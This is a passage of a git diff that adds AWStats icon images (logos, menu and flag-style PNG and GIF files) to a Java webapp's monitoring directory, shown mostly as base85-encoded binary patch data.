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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo6.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo6.png new file mode 100644 index 0000000000000000000000000000000000000000..52f95895c81881582bb8f86cd335454bd8744f04 GIT binary patch literal 2715 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 BLYe>o literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/backleft.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/backleft.png new file mode 100644 index 0000000000000000000000000000000000000000..185f7c2239dea8f87e93c4e8e997fd8d5c49cb3b GIT binary patch literal 192 zcmeAS@N?(olHy`uVBq!ia0y~yV2EO1U|{56Vqjpn*sPbxz`(#>;_2(kewmYBT!a03 zti>+|1_sUokH}&M25vzRW~@(%pUA+#z>@Ch>&U>cv7h@-A}a#}gTJSXV@SoVTpvfi z0}4D%R{#I+Nu9p;=(SZ7HGHKPu++WhKd@%O;%mqC&$c^?Ow{=KF?_-nN!~U;hc_RO u2t8_>Qq0*Sd-ulVMQOcZ^LOkP=4Fj!`X|}Db0Y%-1B0ilpUXO@geCwuNIyFO literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/button.gif b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/button.gif new file mode 100644 index 0000000000000000000000000000000000000000..5e8501d4ef49066d66f6869493e8e2f25c78f81c GIT binary patch literal 147 zcmZ?wbhEHbWMq(HIKsg2|NsAg|Ni~?^XK>P-@ktS`uX$cj~_q2fB*jV>(?(|zI^`t z`O~LQA3uJ4|Ni~EckkZ5ef#Fko7b;jzk2oR#fulupFe;0?Ag<&Pj~Lz$$$eW{$ybh iVffFW1Cj^X$-pY0pupr5Imcs{jxYD#;G9@R25SHs1Wl#@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/he.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/he.png new file mode 100644 index 0000000000000000000000000000000000000000..82e25f90968552bf7df57c9246a3ceadc3c6f434 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*VrgY;p`dMGXkc(c@!}B%1_t&LPhVH| z%Zvg%hL%fR&s<<&VBjq9h%9Dc;Q9c<j81DzW-u@?u%tWsIx;Y9?C1WI$jZRLpc~*5 z;<|du$vso<?VtDX_}bSOj()sx`{V7~AFo~gc=6<$bBA7>-2L>(mV0{^-`G0k(#9E= z{)t9fFfcG^c)B=-RNP9gIB?)VLE}S)!)$G=Ji-!E5?m5O5=;^@5<C(j5-buD4DA7I W6IoX72w-4fVDNPHb6Mw<&;$Sj^jdBJ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hh.png new file mode 100644 index 0000000000000000000000000000000000000000..b3cc1584c75ca5d7e556110bbcc2b06d9c680593 GIT binary patch literal 266 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*YG7q#qM&VHXkhSfgTD#`0|R@Br>`sf zWkvxWBjsYQv`hvD2F?PH$YKTtt`8v0=(NUU1_J{FOS+@4BLl<6e(pbstPBhcS^+*G zt_)MAa2z|Qc<!3h^Y_*N|F8Z2f6n*+EzjQ<-+P{X?OxEabB0^@GAvyyuy(C-_%ss+ z1_ljJ7srr_Tgf|49yn1jFOm7MP@5zVFV9yVP98;`gFJCO-*~uqlz9FyG{&=Ke9&^f R$H2hA;OXk;vd$@?2>`$PQ}zG= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hk.png new file mode 100644 index 0000000000000000000000000000000000000000..b2e77417d6611da18b0ee08ff131ff205c1188ab GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*YG`F@prCDFXkhUE2d4l70|R@Br>`sf zWkvxWW6SBq>p;eH7I;J!Gca&{0AWU_H6}9{7#LX69eo`c7&i8E|4C$JU|>)W@Ck8c z@H1j)2xRC8V^~nAx^+&_rj7Qi7wIjTDm=B9tFM-!BbTAVhat^T+%)hkNQ<Y7V@SoV zWQzj_4iq#bG9PAY<K*GxVddfEVRU$LAmPA*0}AI3FfdfMvi?wOo~X;fz`)??>gTe~ HDWM4f$l^#M literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hp.png new file mode 100644 index 0000000000000000000000000000000000000000..d8e46f2956d591e8de396269caac8988f7779d25 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*YGP$%prCDFXkfrBa@v=Hfq}im)7O># zGNS;GnY4Y1^k)VJ2F?PH$YKTtt`8v0=(NUU1_J{FOS+@4BLl<6e(pbstPBhcx&b~R zt_)67IK0j&CSP-Ed0)Nu|Jq~!*Y5p4XYc=(rSFTUJWuYq7gT*tGion`<ywKDwVBM; z`xqD)G(24#Ln>}1R~$HSprG*~!(p~IRvuvqDG4qKAqgf483`T<5s4#`5)AFBY%`i! TvUwO77#KWV{an^LB{Ts5zL-s; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/ht.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/ht.png new file mode 100644 index 0000000000000000000000000000000000000000..4ca20ce5cda3d72376df850bcc810b8048a36f37 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*YGP$%prCDFXkfrBa@v=Hfq}im)7O># zGNS;G6^D4fs3HRc180FpWHAE+*9Q=0bXsFFgMop8CEd~2k%3`jKlh(RRt5$J-2k5u z*OsYk+GgzTnYVZ9@*_((o!qqZ<fiQ>*KI$!e8Z8&YYxp@d0^Jk-Tia6w@lvDF>8~K z<;uwn3=A5cE{-7;w~{Lk95_(W_>kc+TN^8nu!NKZmxPc6lZ1=}kA#TC5lIP#_EfeR U%`DkG3=9kmp00i_>zopr0Ox~Iz5oCK literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hx.png new file mode 100644 index 0000000000000000000000000000000000000000..4f2b63cde0e3f93bb7d91a684a9a92440b8abfb2 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yU|?imU=UzoW?*1Y-N@0xz`&qi;u=xnT$Gwvl9`{U z5R#dj%8->>s;6LRrjV7GSEi?6WME*dU}$V*Vq|4#p`dMGXkbwEMAwgjfq}im)7O># zGNS;GvAk=Y_Id^e2F?PH$YKTtt`8v0=(NUU1_J{FOS+@4BLl<6e(pbstPBhcx&b~R zu2U*@udcYZzV+6Q>CcXAe|PrMyGxheoj&#M=<eqSH$B?D^8S_u*H(9(TU2p;PR+4T zg6B*a7#K7>T^vIyZY5V7IB=k#@gc)uwl-ECVF@V-E(swCCJ7k{9tjZ%76}Q4_5ikt VEGu^eFfcGMc)I$ztaD0e0stPvR;K^} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu1.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu1.png new file mode 100644 index 0000000000000000000000000000000000000000..5a5b24ffae269d168200f6d939d234ff7afc06d3 GIT binary patch literal 466 zcmeAS@N?(olHy`uVBq!ia0y~yVBi5^4kiW$hMVH2H!v_T=$E)glsFfqCYEI8=P86_ z=B6^FWajEA7?~?%m1gGXDHs_T7%Lc>SQ%Pc8JQ_)8yFfG?0$YMnSp_Uy~NYkmHjfi zG>?(tjZdi!3=9mM1s;*b3=CW!K$y{KjmZoK1_qXNM_)$<hK>E)e-c?47#P(&T^vIy zZYBTu|Ns9|@9A-StBxKx@Ziy-Lk+we7(zqB!iowD8L#fG`DtWjCDpC8K<0u$YHI2N z!|LzvM8(C~yI#F|<s=c{D)8#x-`{`!{Mnv&_tpFN?5`$Hm@vaUUoJ*aSfIGL*xS?d z<%<^^HgER!@~Wz=to`vJkzayAmf7^>^Yilqk|QJT?X6}v3H9(;v7zRf`b7@eXaBx^ zE1Tfyz^u^Kz+-1;r>m>$=Xb8ZNz<vXv3^TzL!X-=r{sqEy@!fR?RPiH1gLXw@~r>& zhw&CiN<l%vp7hT@^%rXC?Bvg25x#ce_m7XtM$<igeBRvNo<HBdK5k2f;DzT7?ecat zGiJ_=oV2j{`{jxEqklDWNhn@qy2525Cee0aL6d=A{63x%HiHjezI<W$xw7RKL!X%% Q0|Nttr>mdKI;Vst0N`1=q5uE@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu2.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu2.png new file mode 100644 index 0000000000000000000000000000000000000000..ee2c29451925d4ce520c1400b116bb267ee79ad3 GIT binary patch literal 562 zcmeAS@N?(olHy`uVBq!ia0y~yVBi5^4kiW$hMVH2H!v_T=$E)glsFfqCYEI8=P86_ z=B6^FWajEA7?~?%m1gGXDHs_T7%Lc>SQ%Pa85$~R8yFfG$n#DyU|?WiFY)wsWxvcW z&11|mJ!--u1_lPs0*}aI1_rJVAk65r#$*Nq0|QICqpu?a!^VE@KZ&di42*4_E{-7; zx03(-|8LK%cz`MWY)t*LH@(jb)@^J{san9<a+bs7<(aSP6M3UmRG&V5GWFlzpNEg0 z{rvg)`Q!cX_f~u?@m#yRbD7BFm)ZW@>hC8989aIREb+(rPydp{=ldyITU#4T-~Rso z{{1`l_b23>`SRxJ?0TL%HBFCt{?GUqv$o6N*5{{L=j+qV_{8`mJtfQJ7OJ10XZZK` z=f~Htm)F<-{Z*Cg)bLR=yI4(jWp%yXz0~Ik?7N<w+^hY+?r%!skMI9qHfIObm#goJ z{rYuc(vQ!_FaLUcX6@zo^{00fzx{Fd^zr}h8I3jSN6w%9Un+fA{+#&woh?UOpM*+Q z{*Sr2BTvd&U4Qok84ZplDlH)u>#ehD>wZ1>JTrOyKSP5*KTcNsH`LdjFDuNxU*NO4 zB&VR5v2Cbyshgo7TbLMIX(ii&Me+6$68~zgYW{vb&%ge<?g|t0ODvJg*QFNzl{(xm ze%zIH{sv~*lON*a&MrEsX`pW@AUH$d+S%;m_xIH?C9ckl?C3ak$XT9Y%i6_~cMUyP RGB7YOc)I$ztaD0e0s!`9`o91G literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu3.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu3.png new file mode 100644 index 0000000000000000000000000000000000000000..c90a7bbbb4034a033680e9422b18e9df4de386dd GIT binary patch literal 1243 zcmeAS@N?(olHy`uVBq!ia0y~yU=U(pU=ZYBW?*1=-okU5fq_B4#5JPCxhOTUBr`ux zAtW<5l_4cFS5LvnTp_D8Ge=Ls$iTo@!O+CY(89{tOhMbg(7<3u|JuV03=Hfgp1!W^ zm)WIxWSL6sY<@E^FmM)lL>4nJaD4z_MyE9<GZ+{cSkfJR9T^xl_H+M9WMyDrW(e>J zab;j&U~npC2+C#%n!=F1mLYp9L-A6E;=K&jOBt$<G4z~cn6j5)$~A^L#~9|^V_15Q zVd*u7rOz4GK4)0_o?+{AhOO@z_I_tL_MPF_e~zGRj;OU9Q?7B$xyP~gImg!L99!QD zSVjq~eJ-%|y@aBrgkq3{p_jy*YZ7apD^5A4IOm$;*7urQpKI=YZ)oXdx%Ro`-uF&U zK~8J$d3i+z1tkXsRYyf-M@1D!UHhJ0JSY3w_u}H>;=R|3uYGT6X=%Cleaf}(Q=b2y zbMODs_y5<v|G)M9|GnS;pS$<}-24CUzyBWvqai>r1f<@|?P6eH@G1%N3nr+TSOpAG z+WVy$7#Plax;TbZ+)BOhI<Lt=fHh&YwVs|-m!pU2A{JNPmDld=i8rqJ@;83PizdUe z`kZrhmNQef75pscs<gOse^ytbedaV?N0ECkUQ4NVPZV)VaY+d{l61W)XKMz}&iP!E zECZdmXY843v{>Hx(-eQT&0P=H=Bq3g{c*)lLSo<2wY+_M)-4f9E;CtOYrA@pNSX4H zkB2rHuUaLg=KP~Bfj!pu)TR$s4tpP#v+epC%YV!7!J>y%^Oi^N-}iV|U+X1r{hI$* nvfJfPe>wK&XR+RMn?H=l9IV;?vm7}IDl$A>{an^LB{Ts5GU0N# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu4.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu4.png new file mode 100644 index 0000000000000000000000000000000000000000..77da047d0ee6829028c071350142481953c289de GIT binary patch literal 548 zcmeAS@N?(olHy`uVBq!ia0y~yVBi5^4kiW$hMVH2H!v_T=$E)glsFfqCYEI8=P86_ z=B6^FWajEA7?~?%m1gGXDHs_T7%Lc>SQ%Pc8JH_*8yFfG#BV*dih+TFy~NYkmHjfi zG>?(U<Zl~~GcYi47I;J!Gca&{0AWU_H6}9{7#LX69eo`c7&i8E|4C$JU|_89ba4!+ zxRw0p|9^XCo;7iMr4DV_uwlZ~sjc0{jw>D??{9By-CO_v@#plmbLaN0Tla6@KD!-C zYzsV(_sO0<d)Bt})vd?J<Ny41zP{#W{quAG4;?!9?c2Qn2@FOn_wTniGyDAgeZ4?# z@iU*_|K=V%aG-5=G-Hw+_XXKir~I7$%vzIUf202Yum6A5wY9CSwVPM26lLdbo+PDw zp-^G+w)}XDY`^pO>vQz)?Wz3nXk}-oow@npsolpvcO8<EwRPnC|M|IpR#l*1*~$I; zeVX<($(6<3-kx9i|KG-q6Eo|-Yw_{<O;8dOn-;!)-rpZbKYX=5{N28ZHPW|=ZJK6g zqL2}fPtN*t^K7|7j&PLNTqv#o=MlHFXxE}e{d4Cw&Yz$7u*ojgR(3&qMP+69+9=kd z;K0C(-QvrqPMvCLDLG?C-I<wp#YIJnzr46OS>0buOw8#pCsS2*_0y-KMMYeP4=Ls5 z<fNpeG(2RVm~^CPTKxVxMp-R&_4Le4PC<5tD#?xCzHIzc&%nUI;OXk;vd$@?2>_!W B>-+!! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu5.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu5.png new file mode 100644 index 0000000000000000000000000000000000000000..76429203be88dc48700382771561da80b43ada65 GIT binary patch literal 521 zcmeAS@N?(olHy`uVBq!ia0y~yVBi5^4kiW$hMVH2H!v_T=$E)glsFfqCYEI8=P86_ z=B6^FWajEA7?~?%m1gGXDHs_T7%Lc>SQ!~x85=5S8yFfG*l6+XW?*1oFY)wsWxvcW z&0{Q<^7!E@1_lPs0*}aI1_rJVAk65r#$*Nq0|QICqpu?a!^VE@KZ&di42-d!E{-7; zx03(-|8LLCV^jb8(Vw;4JoW!1vn0H_ybc|eoG5zK=S0<sUymQ|R*!mLQTAnhbGPxq zNXyAwp=Zu$?-Ax*bLIQ$8eeVi!;4;=mv7_V|6abfcv9y>?)4JSTcgDvyoz|RZs+GO zN00I!*MGtB_t)_+FQ0Tv^UTlRV{tNQy6M_XsgS^HcP?@3Z2uqg``^!J=?c?lKfGTr z`)|Jef@vH6{Q9~&A!_B`^?&=d_rLet|Nm?E)BE%HGYRqN=k5FXwY#yg{o(!n^*T8@ zIX*r<`~Uy_^XExyM{hUF>L)9=i^u<|`||9T_A&bveEUEA`!zfJ{7#FTs;sRRH)lxv zGdB2_T<}YC?fOOhCQPrErN_@_Jb8Zpe*2V)pL1WHUVnf8jJ$fkvz}jzzc&AT_xe45 zcwDA;hOBj|#|-Be&ma5W@-YfrI8Q+If`EPb-#eeh&+~5OIUj4uE+Ql<W_s0_^%fJq a6GKn?;%5x{;Y|z-3=E#GelF{r5}E*GO6Sf1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu6.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu6.png new file mode 100644 index 0000000000000000000000000000000000000000..142729545310accccb39d886ef241e923ccdd0a4 GIT binary patch literal 1217 zcmeAS@N?(olHy`uVBq!ia0y~yU=RXf4rT@hhD3q7R0akH{Sw!R66d1S#FEVXJcW?V z+*F2?%v?PMBXfnU(##w^1tS9kV+BJKD<cytBLf9(149FYE!uJ~7#JAXOFVsD*)Ow8 z^T;u5kmVC$U|`@Z@Q5sCVBq=y!i-L9OlB}JFtDUM`Z_W&Z0zU$lgP@zz|0Wf6XGgx zOhVJp($Lb$u*b>L$;;9!$Z~0rlUI<FSCmswl+%<Tr~gh~QORCW*<MqUgQBv7l8d8~ zi=(oOqq3`$i>s51Te7QLve#A@XJ;3;^c1&Dsg6pn?wL~EGp8pgs%Os9DcQwST6(6O zTRLa$)}<h{ckR}_YoG7ky7$=Dz32AMS-bbxxnt+9o%0GhckSM_Yxl0*dw%cU^XJds zKY#!J`}gnv894rrg3%D5SqNyYk37Y|z+hey<QGhyB@6<QbGsQB7>;?mIEGZ*O1*HG zugQRiHQ|7~nJ(W3pFn}Bo!x#e0r&o2lsR?f$h|E;i!OC1Z>>+>EB=|0qtN~dyIsH2 zoOZdlA;A-t&iUNo-oa?0|LJy6TH$g=0q3ogln$DtZBZ{<fBw^iGp=VkZZDTw8mzf{ 